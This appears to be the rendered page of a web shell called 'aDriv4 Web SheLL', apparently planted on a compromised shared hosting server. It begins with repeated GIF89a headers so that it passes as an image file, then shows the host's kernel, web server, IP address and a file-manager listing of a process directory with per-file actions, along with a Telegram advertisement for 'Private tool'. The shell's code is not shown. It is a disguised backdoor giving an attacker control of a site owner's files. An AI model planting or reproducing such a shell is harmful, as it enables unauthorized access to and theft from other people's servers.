GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux business61.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 63.250.38.194
Name Type Size Owner/Group Permission Last Modified Actions
. dir - amprppcs/amprppcs 0555 2025-06-16 11:46:58
.. dir - root/root 0555 2025-06-12 08:52:12
attr dir - amprppcs/amprppcs 0555 2025-06-16 11:49:08
cwd link - amprppcs/amprppcs 0555 2025-06-16 11:46:58
fd dir - amprppcs/amprppcs 0500 2025-06-16 11:49:08
fdinfo dir - amprppcs/amprppcs 0500 2025-06-16 11:49:08
map_files dir - amprppcs/amprppcs 0500 2025-06-16 11:49:08
net dir - amprppcs/amprppcs 0555 2025-06-16 11:49:01
ns dir - amprppcs/amprppcs 0511 2025-06-16 11:49:08
root link - root/root 0755 2024-03-31 01:20:02
task dir - amprppcs/amprppcs 0555 2025-06-16 11:48:51
autogroup text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
auxv application/octet-stream 0 B amprppcs/amprppcs 0400 2025-06-16 11:49:08
cgroup text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
clear_refs 0 B amprppcs/amprppcs 0200 2025-06-16 11:49:08
cmdline application/octet-stream 0 B amprppcs/amprppcs 0444 2025-06-16 11:48:50
comm text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
coredump_filter text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
cpu_resctrl_groups text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
cpuset application/octet-stream 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:04
environ application/octet-stream 0 B amprppcs/amprppcs 0400 2025-06-16 11:49:08
exe application/x-executable 6.11 MB root/linksafe 0755 2025-04-09 02:17:24
gid_map text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
io text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:04
limits text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
loginuid text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
maps text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
mem 0 B amprppcs/amprppcs 0600 2025-06-16 11:49:08
mountinfo text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
mounts text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:01
mountstats text/plain 0 B amprppcs/amprppcs 0400 2025-06-16 11:49:08
numa_maps text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
oom_adj application/octet-stream 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
oom_score text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
oom_score_adj application/octet-stream 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
pagemap application/octet-stream 0 B amprppcs/amprppcs 0400 2025-06-16 11:49:08
patch_state text/plain 0 B amprppcs/amprppcs 0400 2025-06-16 11:49:08
personality text/plain 0 B amprppcs/amprppcs 0400 2025-06-16 11:49:08
projid_map text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
sched text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
schedstat text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:04
sessionid text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
setgroups text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
smaps text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
smaps_rollup text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:04
stack 0 B amprppcs/amprppcs 0400 2025-06-16 11:49:08
stat text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:48:50
statm text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
status text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:48:50
syscall text/plain 0 B amprppcs/amprppcs 0400 2025-06-16 11:49:08
timens_offsets text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
timers application/x-empty 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
timerslack_ns text/plain 0 B amprppcs/amprppcs 0666 2025-06-16 11:49:08
uid_map text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:49:08
wchan application/octet-stream 0 B amprppcs/amprppcs 0444 2025-06-16 11:49:08
© aDriv4